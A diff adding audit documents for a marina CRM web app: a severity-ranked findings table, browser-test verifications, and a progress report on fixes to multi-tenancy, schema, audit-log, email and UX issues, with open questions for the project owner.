+| M-MT01 | `updateDefinition` UPDATE missing portId in WHERE       | `src/lib/services/custom-fields.service.ts:136-145`              | Add `and(eq(...id), eq(...portId, portId))` to UPDATE WHERE |
+| M-MT02 | Notes UPDATE/DELETE missing entityId scope              | `src/lib/services/notes.service.ts:846-850, 869-873, 897-901`    | Add `eq(...notes.<parent>Id, entityId)` to WHERE            |
+| M-MT03 | Contact UPDATE/DELETE missing clientId scope            | `src/lib/services/clients.service.ts:737-741, 764`               | Add `eq(clientContacts.clientId, clientId)` to WHERE        |
+| M-MT04 | `listForYachtAggregated` ownerClientId lookup no portId | `src/lib/services/notes.service.ts:276-283`                      | Add `eq(clients.portId, portId)`                            |
+| M-MT05 | Webhook reads expose row before JS portId check         | `src/lib/services/webhooks.service.ts:103-108, 133-137, 170-174` | Move portId into `findFirst` WHERE                          |
+
+### Schema (5)
+
+| ID     | Title                                                                           | File:line                                                                                  | Fix sketch                                                                                            |
+| ------ | ------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------- |
+| M-SC01 | Migrations 0000-0036 not idempotent (no IF NOT EXISTS / DO blocks)              | `src/lib/db/migrations/0000_narrow_longshot.sql`, `0036_polymorphic_check_constraints.sql` | Standardize IF NOT EXISTS / DO block pattern for new migrations; document 0000-0036 not re-runnable   |
+| M-SC02 | `companies` missing soft-delete partial index                                   | `src/lib/db/schema/companies.ts:39-45`                                                     | `CREATE INDEX IF NOT EXISTS idx_companies_archived ON companies (port_id) WHERE archived_at IS NULL;` |
+| M-SC03 | FTS GIN index missing for `interests` and `berths`                              | `src/lib/db/migrations/0057_search_fts_indexes.sql`                                        | Add `CREATE INDEX CONCURRENTLY ... USING gin (...)` for both                                          |
+| M-SC04 | `audit_logs.searchText` schema/DB mismatch (Drizzle plain, DB GENERATED ALWAYS) | `src/lib/db/schema/system.ts:53-54`                                                        | Annotate as non-updateable / generated marker                                                         |
+| M-SC05 | `documents.clientId` Drizzle nullable but DB `ON DELETE NO ACTION`              | `src/lib/db/schema/documents.ts:72`, migration `0000_narrow_longshot.sql:814`              | Migration mirroring 0059's fix for `files.client_id`: drop + re-add with `ON DELETE SET NULL`         |
+
+### Routes / Middleware (2)
+
+| ID    | Title                                                                                    | File:line                           | Fix sketch                                                                                    |
+| ----- | ---------------------------------------------------------------------------------------- | ----------------------------------- | --------------------------------------------------------------------------------------------- |
+| M-R01 | `/portal/` blanket allowlist removes middleware backstop                                 | `src/proxy.ts:65`                   | Allowlist only unauthenticated portal routes individually; add middleware portal-cookie check |
+| M-R02 | No explicit OPTIONS handlers, no CORS headers (defer until cross-origin consumer exists) | All `route.ts` under `src/app/api/` | Add explicit `Access-Control-Allow-Origin: <marketing-domain>` to public routes when needed   |
+
+### Audit log (4)
+
+| ID     | Title                                                             | File:line                                                           | Fix sketch                                                                                                              |
+| ------ | ----------------------------------------------------------------- | ------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- |
+| M-AU01 | FTS `search_text` covers only 4 fields; placeholder text misleads | migration `0014_black_banshee.sql:47-55` + `audit-log-list.tsx:360` | Change placeholder OR add `metadata` to GENERATED expression                                                            |
+| M-AU02 | Admin audit log shows field names but no old→new diff             | `audit-log-list.tsx:290-305` + `audit-log-card.tsx:84-91`           | Add row-expand using `buildDiffLine` from activity-feed.tsx                                                             |
+| M-AU03 | No audit log CSV export endpoint                                  | (absent)                                                            | `GET /api/v1/admin/audit/export/csv` reusing `searchAuditLogs`                                                          |
+| M-AU04 | Outcome change uses `action: 'update'` not distinct verb          | `interests.service.ts:1047-1058`                                    | Add `'outcome_change'` to `AuditAction`; use in setInterestOutcome/clearInterestOutcome; add to dropdown + severity map |
+
+### Documents/files (1)
+
+| ID    | Title                                                                              | File:line                                        | Fix sketch                                                         |
+| ----- | ---------------------------------------------------------------------------------- | ------------------------------------------------ | ------------------------------------------------------------------ |
+| M-D01 | Real-time invalidation event-name mismatch (`'file:created'` vs `'file:uploaded'`) | `src/components/documents/documents-hub.tsx:141` | Change to `'file:uploaded': [['files']]` matching other components |
+
+### Security (1)
+
+| ID    | Title                                                                              | File:line                                                                         | Fix sketch                                                                                 |
+| ----- | ---------------------------------------------------------------------------------- | --------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ |
+| M-S01 | S3 access key ID stored plaintext in `system_settings` (secret encrypted, key not) | `src/lib/storage/index.ts:136`, `src/components/admin/storage-admin-panel.tsx:80` | Apply same `encrypt()` / `*IsSet` pattern as secret key; migration to re-key existing rows |
+
+### Email + Integrations (8)
+
+| ID     | Title                                                                               | File:line                                                                    | Fix sketch                                                                                      |
+| ------ | ----------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- |
+| M-EM01 | Portal activation/reset emails not threaded with portId — falls back to global SMTP | `src/lib/services/portal-auth.service.ts:163-164`                            | Pass `portId` as 6th arg to both `sendEmail` calls                                              |
+| M-EM02 | No CC/BCC in main `sendEmail`                                                       | `src/lib/email/index.ts:54-68`                                               | Add optional `cc`/`bcc` to `SendEmailOptions`                                                   |
+| M-EM03 | Bounce-to-interest linking not implemented                                          | `src/lib/services/sales-email-config.service.ts:13`                          | Wire BullMQ recurring job using imapflow to scan inbox for bounce NDRs (Phase 7 §14.9 deferred) |
+| M-EM04 | Notification digest uses `'crm_invite' as any` for subject resolution               | `src/lib/services/notification-digest.service.ts:161-169`                    | Add `'notification_digest'` to `TEMPLATE_KEYS`; update digest service                           |
+| M-IN01 | Presigned URL TTL fixed at 900s for portal downloads                                | `src/lib/storage/index.ts:240-254`; `src/lib/services/portal.service.ts:350` | Pass `expirySeconds: 4 * 3600` for portal links, or sign on-demand from API                     |
+| M-IN02 | OpenAI receipt-scanner module-level instantiation, no credential health check       | `src/lib/services/receipt-scanner.ts:4`                                      | Guard `OPENAI_API_KEY` upfront; add health-check endpoint                                       |
+| M-IN03 | Receipt OCR ignores per-port config; hardcoded `gpt-4o`                             | `src/lib/services/receipt-scanner.ts:19`                                     | Accept `portId`, call `getResolvedOcrConfig(portId)`, branch on provider                        |
+| M-IN04 | Stale "pdfme" references in comments/seed                                           | `src/lib/db/seed-data.ts:807`, `src/lib/services/document-templates.ts:573`  | Update comments to reference pdf-lib AcroForm fill                                              |
+| M-IN05 | Umami `testConnection` throws instead of typed `{ ok: false }`                      | `src/lib/services/umami.service.ts:80-101, 292`                              | Return `{ ok: false, error }` to match `checkDocumensoHealth`                                   |
+
+### Performance + Behavioral (1)
+
+| ID    | Title                                                                 | File:line                     | Fix sketch                                                                                          |
+| ----- | --------------------------------------------------------------------- | ----------------------------- | --------------------------------------------------------------------------------------------------- |
+| M-P01 | Leading-wildcard `ILIKE '%term%'` in `buildListQuery` defeats indexes | `src/lib/db/query-builder.ts` | Migrate to `pg_trgm` GIN indexes on searched columns, or move to FTS via existing `search_text` GIN |
+
+### Legacy enum drift (2)
+
+| ID    | Title                                                                | File:line                                                                  | Fix sketch                                                               |
+| ----- | -------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------------------------------------------------------------------------ |
+| M-L01 | Tenure type enum diverges between berths and reservations            | `src/lib/db/schema/berths.ts:65` vs `src/lib/db/schema/reservations.ts:32` | Pick canonical enum union; update both schemas + comments                |
+| M-L02 | Reports stage rollup raw `pipelineStage` without `canonicalizeStage` | `src/lib/services/report-generators.ts:71-76, 88-106, 124-138, 176-192`    | Wrap row.stage with `canonicalizeStage()` before keying maps (defensive) |
+
+### UX/forms (12)
+
+| ID    | Title                                                                  | File:line                                                                      | Fix sketch                                                                                 |
+| ----- | ---------------------------------------------------------------------- | ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------ |
+| M-U01 | Audit log uses inline div instead of `<EmptyState>`                    | `src/components/admin/audit/audit-log-list.tsx:524`                            | Replace with `<EmptyState title="..." />`                                                  |
+| M-U02 | Two duplicate `EmptyState` components with incompatible APIs           | `src/components/ui/empty-state.tsx` vs `src/components/shared/empty-state.tsx` | Migrate 3 `ui/` callers to `shared/`, delete `ui/empty-state`                              |
+| M-U03 | Required-field marker inconsistent                                     | `client-form.tsx:273`, `interest-form.tsx:281`                                 | Single pattern: `<Label>Field <span aria-hidden>*</span></Label>` + `aria-required="true"` |
+| M-U04 | Help-text discoverability inconsistent                                 | `src/components/shared/filter-bar.tsx`, `client-form.tsx`                      | Document a rule (always-visible for constraints; tooltips only for icons)                  |
+| M-U05 | Cancel/dismiss without unsaved-changes warning on ClientForm/YachtForm | `client-form.tsx`, `yacht-form.tsx`                                            | Add `isDirty` guard + discard AlertDialog matching InterestForm                            |
+| M-U06 | FileUploadZone size limit not surfaced as client-side check            | `src/components/files/file-upload-zone.tsx:170`                                | Wire client-side size check before upload                                                  |
+| M-U07 | No jump-to-page input in pagination                                    | `src/components/shared/data-table.tsx:420`                                     | Add small `<input type="number">` between Previous/Next                                    |
+| M-U08 | No column resize/reorder on DataTable                                  | `src/components/shared/data-table.tsx`                                         | Opt-in `enableColumnResizing` per table via TanStack v8                                    |
+| M-U09 | Invoice delete uses custom overlay, not AlertDialog                    | `src/app/(dashboard)/[portSlug]/invoices/page.tsx:167`                         | Replace with `<ConfirmationDialog>`                                                        |
+| M-U10 | Success toast missing on ClientForm + InterestForm create/edit         | `client-form.tsx:215`, `interest-form.tsx:235`                                 | `toast.success(isEdit ? 'Client updated' : 'Client created')`                              |
+| M-U11 | Logo preview `<img alt="">` should describe state                      | `src/components/admin/shared/settings-form-card.tsx:420`                       | `alt="Port logo preview"` or dynamic from field label                                      |
+| M-U12 | Heading hierarchy inconsistent within tab components                   | `email-accounts-list.tsx:114`, `interest-contract-tab.tsx:130/251/291/364`     | Audit each tab; standardize h2/h3 nesting                                                  |
+| M-U13 | DialogContent missing aria-describedby on minimal dialogs              | `compose-dialog.tsx:95` + ~40 others                                           | Add `<DialogDescription className="sr-only">` or `aria-describedby={undefined}`            |
+| M-U14 | Mobile topbar title blank on list pages                                | `client-list.tsx`, `yacht-list.tsx`, `interest-list.tsx`, `berth-list.tsx`     | `useMobileChrome({ title, showBackButton: false })` per list                               |
+| M-U15 | Invoices missing from mobile navigation                                | `src/components/layout/mobile/more-sheet.tsx:54`                               | Add `{ label: 'Invoices', icon: FileText, segment: 'invoices' }` to Operations group       |
+
+---
+
+## 🟢 LOW (8)
+
+| ID     | Title                                                                                                  | File:line                                           |
+| ------ | ------------------------------------------------------------------------------------------------------ | --------------------------------------------------- |
+| L-AU01 | Tier map sparse; new actions default to 'info' (`password_change`, `portal_activate`, `revoke_invite`) | `src/lib/audit.ts:220-222`                          |
+| L-AU02 | Action filter dropdown missing 12 verbs                                                                | `audit-log-list.tsx:393-415`                        |
+| L-AU03 | Entity-type filter dropdown missing 7 entries                                                          | `audit-log-list.tsx:88-102`                         |
+| L-AU04 | Dead code — `listAuditLogs` (ILIKE)                                                                    | `src/lib/services/audit.service.ts`                 |
+| L-D01  | `HubRootView` has 2 sections, not 3 (CLAUDE.md spec inaccuracy)                                        | `src/components/documents/hub-root-view.tsx:50-100` |
+| L-D02  | `interest.yachtId` branch in chain doc spec is unreachable (interests.clientId NOT NULL)               | `src/lib/services/documents.service.ts:1225-1251`   |
+| L-P01  | List endpoint `limit` cap = 1000 (audit log uses 200 + cursor as the better pattern)                   | `src/lib/api/list-query.ts`                         |
+| L-L01  | Reports stage-revenue rollup raw `pipelineStage` (defensive concern, no active bug)                    | `src/lib/services/report-generators.ts:71-192`      |
+
+---
+
+## ✅ Areas verified clean
+
+- Documents/files structurally solid across 22 checks (one event-name mismatch + 2 doc divergences only)
+- Security XSS / SQLi / path traversal / SSRF / encryption-at-rest all clean (one S3 access key plaintext)
+- Multi-tenancy entry-point port isolation correct everywhere; gaps are TOCTOU-style only
+- Documenso v1+v2 routing complete and version-aware; magic-byte verification on both upload paths
+- Public berths API + public health endpoint + cookie flags + CSP + CSRF all correctly configured
+- Audit log core write path covers all sampled mutations; `maskSensitiveFields` covers expected PII fragments
+- Better-auth session fixation, token expiry, audit-log tamper-resistance all clean
+- Legacy 9-stage enum refactor — rank tables now include both legacy + modern keys (commit 9821106 closed the gap); all rendering surfaces route through `stageLabelFor` or `LEGACY_STAGE_REMAP`
+- BullMQ retry/backoff configured; Redis noeviction enforced in compose; worker process bootstraps all 10 queues
+- pdf-lib AcroForm fill, EOI merge tokens, `formatBerthRange` (single/contig/non-contig/cross-pontoon)
+- Inline editing pattern present on all 6 detail page types; NotesList polymorphic across all 6 entity types
+
+---
+
+---
+
+## Browser sweep findings (Playwright MCP) — 2026-05-15
+
+Live exploratory testing of the dev instance (port-amador + port-nimara seeded) using Playwright MCP. All findings below were either (a) confirmation of static findings, or (b) new bugs only visible at runtime.
+
+### New criticals + highs from browser sweep
+
+- **🔴 C-03** — Generic `PATCH /api/v1/interests/[id]` bypasses ALL stage-transition guards (see C-03 above for full detail). The single most impactful new finding from the sweep.
+- **🟠 H-14** — `DELETE /outcome` with empty body returns 500 (see H-14 above).
+- **🟠 H-15** — Sales-agent → `/admin/*` silently bounces to `/dashboard`, no 403 page or toast (see H-15 above).
+
+### New medium from browser sweep
+
+- **M-NEW-1** — `/api/v1/me` and `/api/v1/me/ports` return 400 "Port context required" for non-super-admin callers without the `X-Port-Id` header. Super-admin works without the header. **Impact:** chicken-and-egg for the bootstrap flow that needs to know which ports a user has access to in order to choose one. Frontend likely passes the header from cookie state, but the contract is asymmetric per role. **Fix:** treat absent `X-Port-Id` on `/me/ports` as "list all ports the user has access to, regardless of context".
+- **M-NEW-2** — Activity feed entity-type label rendered without separator: "Test Person 1interest", "Audit_loglist", "Settingrecom" — entity name + type concatenated. **File:** `src/components/dashboard/activity-feed.tsx` (the line that renders the entity label + type tag). **Fix:** add a separator (space, dot, or pipe) between name and type.
+
+### Verifications confirmed clean in browser
+
+| Check                              | Result                                                                                                                                                                 |
+| ---------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| C-02 `/setup` deadlock             | ✅ confirmed: navigation redirects to `/login` (no `?redirect=` param even); `bootstrap/status` returns `needsBootstrap: false` on populated DB; loop fires when fresh |
+| H-02 `?redirect=` ignored          | ✅ confirmed: signed in with `?redirect=%2Fport-amador%2Fclients%2Fsome-fake-id` → landed at `/port-amador/dashboard`                                                  |
+| H-04 `Retry-After` missing         | ✅ confirmed: 429 fired on 2nd bad sign-in attempt, headers `x-ratelimit-limit/remaining/reset` present, NO `Retry-After`                                              |
+| R-004 cross-port URL               | ✅ clean: `/port-amador/clients/<port-nimara-uuid>` shows friendly "Client not found... different port" page                                                           |
+| MT-02 cross-port PATCH             | ✅ clean: `PATCH /api/v1/interests/<port-nimara-id>` with `X-Port-Id: port-amador` → 404 "We couldn't find that interest"                                              |
+| Viewer permissions                 | ✅ clean: read 200, write same-port 403 "Insufficient permissions", write cross-port 403 "No access to this port"                                                      |
+| F27 same-stage no-op               | ✅ clean via `/stage` endpoint (returns 204); ❌ broken via generic PATCH (200 + body) — see C-03                                                                      |
+| Forbidden transition               | ✅ clean via `/stage` (400 with override-required-reason copy); ❌ bypassed via generic PATCH (see C-03)                                                               |
+| Override no-reason                 | ✅ clean via `/stage` (400 "Override requires a reason (min 5 chars)")                                                                                                 |
+| Override short-reason              | ✅ clean via `/stage` (same 400)                                                                                                                                       |
+| AU-11 permission_denied filter     | ✅ activity feed shows no raw `permission_denied` rows                                                                                                                 |
+| A2 legacy enum in feed             | ✅ no raw `deposit_10pct` / `eoi_sent` / `contract_signed` in activity feed text                                                                                       |
+| R-008 mooring URL canonicalization | ✅ `A1`=200, `a1`=400, `A%201`=400, `A-1`=400                                                                                                                          |
+| B-10 webhook empty/malformed body  | ✅ both return 200 `{ok:false}` (graceful)                                                                                                                             |
+| Tag CRUD (AD-014)                  | ✅ 201 create + 204 delete                                                                                                                                             |
+| Settings update (AD-008)           | ✅ 200 with persisted body                                                                                                                                             |
+| Interest detail render             | ✅ EOI badge, milestone "EOI sent May 14, 2026", no raw legacy values, no errors                                                                                       |
+| Interest reopen with reopenStage   | ✅ 200 ok                                                                                                                                                              |
+| Public berths shape                | ✅ 117 berths, statuses split Sold=11 / Under Offer=49 / Available=57                                                                                                  |
+
+### Out of scope for this sweep (not exercised)
+
+- Live Documenso integration (requires real-API project — `pnpm exec playwright test --project=realapi`)
+- IMAP bounce probe round-trip (requires SMTP+IMAP credentials)
+- C-01 berth-INNER-JOIN bug — would require hard-deleting a berth in the live DB (destructive); static analysis already conclusive
+- Browser-side cross-browser testing (BR-\* — Safari, Firefox, Edge)
+- Drag-and-drop kanban interactions
+- Visual regression baselines (`--project=visual` snapshots)

docs/AUDIT-FIX-WAVE-2026-05-18.md

@@ -0,0 +1,266 @@
+# Audit Fix Wave — 2026-05-18
+
+Progress report against `docs/AUDIT-FINDINGS-2026-05-15.md` (74 findings)
+and the still-open Wave-11 items in `docs/AUDIT-FOLLOWUPS.md`. Each
+finding was re-verified against the current code before being touched —
+the previous session's 70 uncommitted files mostly added new behaviour
+and rarely overlapped with the audit issues, so almost everything was
+still applicable.
+
+`pnpm exec vitest run` → 1374/1374 pass. `pnpm exec tsc --noEmit` clean.
+
+---
+
+## 🔴 CRITICAL — 3 / 3 done
+
+- **C-01** interest-berths INNER JOIN on hard-deleted berths — three
+  helpers switched to LEFT JOIN; `listBerthsForInterest` return type
+  loosened so an orphaned junction row still renders. Berth hard-delete
+  is already redirected to soft-archive, so the audit's "service-layer
+  guard preventing hard-delete" requirement is implicitly satisfied via
+  `archiveBerth`'s active-interest check.
+- **C-02** `/setup` missing from `PUBLIC_PATHS` — added.
+- **C-03** generic `PATCH /api/v1/interests/[id]` bypassing stage guards
+  — `updateInterestSchema` now omits `pipelineStage`, forcing every
+  caller through the `/stage` endpoint with the override-permission +
+  override-reason guard chain.
+
+## 🟠 HIGH — 14 / 15 fixed, 1 not-applicable
+
+- **H-01** FK `ON DELETE` actions made explicit across interests /
+  documents / reservations / reminders / invoices schemas; migration
+  `0070_h01_fk_on_delete.sql` drops + re-adds each constraint under
+  the same name (idempotent against re-run).
+- **H-02** login page reads `?redirect=` param with same-origin guard
+  (`startsWith('/')` and `!startsWith('//')`).
+- **H-03** CRM-invite token moved to URL fragment (`#token=…`); the
+  set-password page reads from fragment via `useSyncExternalStore` with
+  `?token=` back-compat for outstanding links.
+- **H-04** `Retry-After` header added to the sign-in-by-identifier 429
+  response (RFC 6585 §4).
+- **H-05** `toggleAccount` now writes an audit row (action 'update',
+  entityType 'email_account', oldValue/newValue around isActive).
+- **H-06** `upsertSetting` masks any value whose key ends with
+  `_encrypted` to `[redacted]` before writing to `audit_logs.new_value`
+  — keeps the ciphertext out of the historical audit trail.
+- **H-07** `archiveClient`'s cascade fires per-interest audit rows
+  (action 'archive', metadata.cascadeSource = 'client_archive') so the
+  audit FTS surfaces a search for a specific archived interest.
+- **H-08** `createSalesTransporter` now applies the shared
+  `SMTP_TIMEOUTS` constant — sales send-outs can no longer stall the
+  BullMQ pool on a hung relay.
+- **H-09** AppShell refactored so `<main>{children}</main>` lives at an
+  invariant tree path across mobile/desktop chrome — React preserves
+  in-progress form drafts when the viewport flips across the breakpoint.
+- **H-10** portal documents page replaces Unicode glyph status icons
+  with Lucide CheckCircle2/XCircle/Circle + aria-labels.
+- **H-12** three list components (interests/companies/yachts) swap
+  `alert(…)` for `toast.warning(…)` matching client-list.
+- **H-13** 5 icon-only buttons gain `aria-label` (notification bell,
+  file-grid actions menu, form-template edit/delete, email-account
+  remove, member-actions menu).
+- **H-14** `parseBody` now treats empty request bodies as `{}` so
+  routes whose schemas have all-optional fields don't crash on an empty
+  DELETE / PATCH payload.
+- **H-15** admin layout renders an explicit 403 panel ("Access denied —
+  this area is for super-administrators only") instead of a silent
+  redirect to `/dashboard`, with a "Back to dashboard" CTA. URL stays
+  on the failed route.
+
+**Not applicable:**
+
+- **H-11** mobile-search-overlay Vaul → Sheet conversion. The audit's
+  premise ("full-screen, not a bottom sheet") is inaccurate — the
+  overlay has `top: 12px` (visible backdrop strip), drag handle,
+  swipe-to-dismiss, and explicit visualViewport sizing for iOS keyboard
+  behaviour. CLAUDE.md's "Sheet vs Drawer doctrine" explicitly allows
+  Vaul for "mobile-only bottom-sheet UX" which is this case.
+
+## 🟡 MEDIUM — 28 / 48 fixed, 5 deferred, the rest covered by larger work
+
+### Done
+
+- **M-MT01-05** multi-tenancy defense-in-depth: `port_id` / parent-id
+  filters added to UPDATE/DELETE WHEREs across custom-fields, notes
+  (all 6 entity types × update + delete), client-contacts, yacht
+  ownerClient lookup, and webhooks reads.
+- **M-AU01** audit log placeholder copy fixed.
+- **M-AU02** already done in previous session (Details column + Sheet).
+- **M-AU04** outcome change now uses distinct audit verbs
+  `outcome_set` / `outcome_cleared`; AuditAction type extended.
+- **M-D01** documents-hub realtime event-name typo (`file:created` →
+  `file:uploaded`) fixed.
+- **M-EM01** portal-auth activation + reset emails now pass `portId`
+  to `sendEmail` so per-port SMTP is used.
+- **M-EM02** `sendEmail` accepts `cc` / `bcc` params; redirect mode
+  drops both (consistent with the dev safety net).
+- **M-EM04** `notification_digest` added to `TEMPLATE_KEYS` +
+  `TEMPLATE_CATALOG`; the digest service drops the `'crm_invite' as any`
+  cast.
+- **M-IN01** portal presigned download URLs now use a 4-hour TTL so
+  client links from yesterday's emails still work.
+- **M-IN02** OpenAI client lazy-instantiated; missing key surfaces a
+  clear error instead of crashing at module load.
+- **M-IN04** stale pdfme comments in seed-data + document-templates
+  updated to pdf-lib AcroForm.
+- **M-IN05** `umami.testConnection` returns `{ ok: true|false, … }`
+  tagged union instead of throwing.
+- **M-L02** `report-generators.ts` canonicalises stage values via
+  `canonicalizeStage()` across pipeline / revenue / forecast rollups
+  so legacy 9-stage rows fold into the modern 7-stage buckets.
+- **M-NEW-2** activity feed entity-name/type concatenation — explicit
+  middle-dot separator so "Test Person 1" + "interest" no longer renders
+  as one word.
+- **M-R01** portal allowlist narrowed from blanket `/portal/` to the
+  three unauthenticated entry-points + portal_session backstop in the
+  middleware redirects to `/portal/login` when the cookie is missing.
+- **M-SC02** companies gets `idx_companies_archived` partial index
+  matching the clients/yachts/interests pattern.
+- **M-SC04** `auditLogs.searchText` documented as GENERATED ALWAYS /
+  DB-managed.
+- **M-SC05** documents.clientId `ON DELETE SET NULL` covered by the
+  H-01 migration.
+- **M-U01** audit-log empty state uses `<EmptyState>`.
+- **M-U09** invoice delete dialog migrated from hand-rolled overlay to
+  `<AlertDialog>` (focus trap, ESC-to-close, a11y semantics).
+- **M-U10** ClientForm + InterestForm fire `toast.success(...)` on
+  create/edit.
+- **M-U11** logo preview `<img>` carries a descriptive alt.
+- **M-U14** mobile topbar title surfaced on clients / interests /
+  yachts / berths list pages via `useMobileChrome`.
+- **M-U15** Invoices added to the mobile More-sheet Operations group.
+- **M-L01** `reservations.tenureType` comment unified with
+  `berths.tenureType` (canonical union).
+- **M-S01** `storage_s3_access_key_encrypted` admin field added; the
+  encrypt-plaintext-credentials script handles the data migration.
+
+### Deferred (need user input or scope-larger-than-an-audit-fix)
+
+- **M-AU03** — audit log CSV export endpoint. New feature surface.
+- **M-EM03** — bounce-to-interest IMAP linking (Phase 7 §14.9).
+- **M-IN03** — receipt-scanner per-port OCR config (every call site
+  needs `portId` threading).
+- **M-NEW-1** — `/me/ports` asymmetric port-context header semantics.
+- **M-P01** — leading-wildcard ILIKE → pg_trgm GIN migration.
+- **M-SC03** — FTS GIN on interests + berths (search.service.ts
+  doesn't use to_tsvector for these — feature work).
+
+### Lower-priority M-U items left untouched (cosmetic / process)
+
+`M-U02` (dedup EmptyState components), `M-U03` (required-field marker
+standardisation), `M-U04` (help-text discoverability rule), `M-U05`
+(unsaved-changes warning on ClientForm/YachtForm), `M-U06`
+(FileUploadZone client-side size check), `M-U07` (pagination
+jump-to-page), `M-U08` (column resize/reorder), `M-U12` (heading
+hierarchy across tab components), `M-U13` (DialogContent aria-describedby
+across ~40 sites). All polish-grade — drop into a focused UX session.
+
+## 🟢 LOW — 6 / 8 fixed, 2 deferred / not-applicable
+
+- **L-AU01** severity defaults extended (password_change → warning,
+  portal_password_reset → warning, etc).
+- **L-AU02** action-filter dropdown gains 13 missing verbs
+  (password*change, portal*\_, gdpr\__, rule*evaluated, outcome*_,
+  branding.\_).
+- **L-AU03** entity-type dropdown gains 7 missing entries (yacht,
+  company, reservation, email_account, portal_session, portal_user,
+  file).
+- **L-AU04** dead `listAuditLogs` (ILIKE) stubbed out — callers all
+  use the FTS-backed `searchAuditLogs` now.
+- **L-D02** CLAUDE.md "Owner-wins chain" tightened — `interest.yachtId`
+  tail branch removed from the spec (structurally unreachable since
+  `interests.clientId` is NOT NULL).
+- **L-P01** list endpoint limit cap — DEFER per audit (cursor pagination
+  is on the routes where it matters; the 1000-row cap is fine at
+  current data sizes).
+- **L-D01** HubRootView spec inaccuracy — verified accurate; the
+  CLAUDE.md "three render modes" line refers to render _modes_, not
+  sections within HubRootView. Audit finding is a misread.
+- **L-L01** reports defensive concern — covered by M-L02's
+  canonicalize sweep.
+
+---
+
+## Bonus: document-detail polish (#67 partial)
+
+Three of the six deliverables in MANUAL-TESTING-BACKLOG §4.10b shipped
+in this wave:
+
+- **State-aware action button per signer** — `invitedAt === null` →
+  primary "Send invitation" CTA (paper-plane); else "Send reminder"
+  (bell). Hits the existing `/send-invitation` and `/remind` routes.
+- **Watcher Add UI** — replaces the user-id stub display with the
+  display name from `/api/v1/admin/users/picker`, plus a "+ Add"
+  select that lets admins pick any user in the port that isn't already
+  watching. Existing delete affordance untouched.
+- **`cleanSignerName` cleanup** — shared from `SigningProgress` and
+  applied to the doc-detail card so EMAIL_REDIRECT_TO `(was: …)` /
+  `(placeholder)` suffixes stop leaking through.
+
+The remaining three deliverables (full SigningProgress visual parity,
+linked-entity name resolution, activity-panel `document_events` polish
+with per-event icons + tooltips) need API changes to return entity
+names + a meaningful event-type icon map. Deferred so it can ship in
+one focused PR.
+
+## Smoke validations against the running dev server
+
+- **C-02** — `/setup` is reachable (middleware lets it through; page
+  itself redirects to `/login` when `needsBootstrap=false`). No infinite
+  redirect loop.
+- **M-R01** — `/portal/documents` without a portal_session cookie now
+  redirects to `/portal/login?redirect=/portal/documents`.
+- **H-04** — sign-in 429 response carries `Retry-After: 900` plus the
+  full `X-RateLimit-*` triplet.
+
+## What still needs your input
+
+Items genuinely blocked on a decision you haven't made yet. Most exist
+in the 2026-05-15 manual-testing-backlog already; surfacing here in one
+place for resolution.
+
+1. **PDF template editor / builder (MANUAL-TESTING-BACKLOG §9.Z)** —
+   ship Phase 1 alone (in-app fill of admin-uploaded PDFs with
+   merge-token mapping, ~1–2 weeks) or wait until Phases 1+2 can land
+   together (also Documenso template push, ~3–4 weeks)?
+2. **Document detail refactor (#67 in §4.10b)** — multi-deliverable
+   redesign. Are we shipping it as one PR or splitting?
+3. **Reminders data model (§0.1 + §3.2)** — Path A (extend lightweight
+   columns on `interests` — note/timeOfDay/priority/recurrence) or
+   Path B (push richer reminders into the existing `reminders` table)?
+4. **Supplemental info form (§0.2)** — CRM-hosted route or
+   marketing-site-hosted? Need a green light to spend ~15 minutes
+   tracing the route end-to-end.
+5. **EOI-scoped data overrides (§4.2)** — does the override apply only
+   to this specific EOI document, or to ALL future EOIs on this
+   interest? Reopening the drawer: show original override or fall back
+   to canonical? Are the overrides reusable for reservation + contract
+   or EOI-only?
+6. **`/me/ports` port-context asymmetry (M-NEW-1)** — should the
+   endpoint treat absent `X-Port-Id` as "list all ports the user has
+   access to"? Currently super-admins work without it; everyone else
+   gets a 400.
+7. **Bounce-to-interest IMAP linking (M-EM03 / Phase 7 §14.9)** —
+   ready to scope or stays deferred?
+8. **Receipt-scanner per-port OCR config (M-IN03)** — every call site
+   needs `portId` threading. Confirm we should do this now vs. when a
+   second-port OCR config materialises?
+9. **CSV export of audit logs (M-AU03)** — net-new endpoint. Ship?
+10. **Documenso phases 2–7 (BACKLOG §A)** — still back-burnered or
+    ready to pick up?
+
+---
+
+## Migrations to apply
+
+`pnpm tsx scripts/db-migrate.ts` (or your usual migration runner) will
+pick up the single new migration `0070_h01_fk_on_delete.sql`. It's
+idempotent — each ALTER drops the constraint by name first, so re-runs
+are safe.
+
+## Files touched this wave
+
+`118 files changed, 5181 insertions(+), 1301 deletions(-)` — but note
+that count rolls in the previous session's 70 uncommitted files. Run
+`git diff --stat HEAD docs/AUDIT-FINDINGS-2026-05-15.md` to see only
+the audit-fix diff.

docs/AUDIT-PROGRESS-2026-05-15.md

@@ -0,0 +1,83 @@
+# Audit Progress Report — 2026-05-15
+
+Companion to `docs/audit-2026-05-15.md` (findings) and `docs/AUDIT-CATALOG.md` (320+ checks). Tracks what was actually executed in this session and what remains.
+
+## Fixed and verified (10 of 13 known issues from A1-A20)
+
+| ID  | Fix                                                                                                           | Verified                 |
+| --- | ------------------------------------------------------------------------------------------------------------- | ------------------------ |
+| A1  | Dashboard activity feed filters out `permission_denied` entries                                               | ✅ code-reviewed         |
+| A2  | New `LEGACY_STAGE_REMAP` + `canonicalizeStage` / `stageLabelFor` helpers; activity-feed maps legacy → 7-stage | ✅ code-reviewed         |
+| A4  | Client form prunes empty contact rows before zod validation                                                   | ✅ Playwright end-to-end |
+| A6  | file-preview-dialog gets `sr-only` DialogDescription                                                          | ✅ code-reviewed         |
+| A8  | Migration 0066 normalizes legacy `statusOverrideMode = 'auto'` → NULL                                         | ✅ migration written     |
+| A9  | Catch-up wizard derives stage from berth status (under_offer → eoi, sold → contract) via stageOverride state  | ✅ code-reviewed         |
+| A16 | File upload route coerces FormData null → undefined before zod                                                | ✅ Playwright (201 OK)   |
+| A17 | New `/api/v1/me/ports` endpoint; `apiFetch` uses it as the bootstrap resolver                                 | ✅ Playwright (200 OK)   |
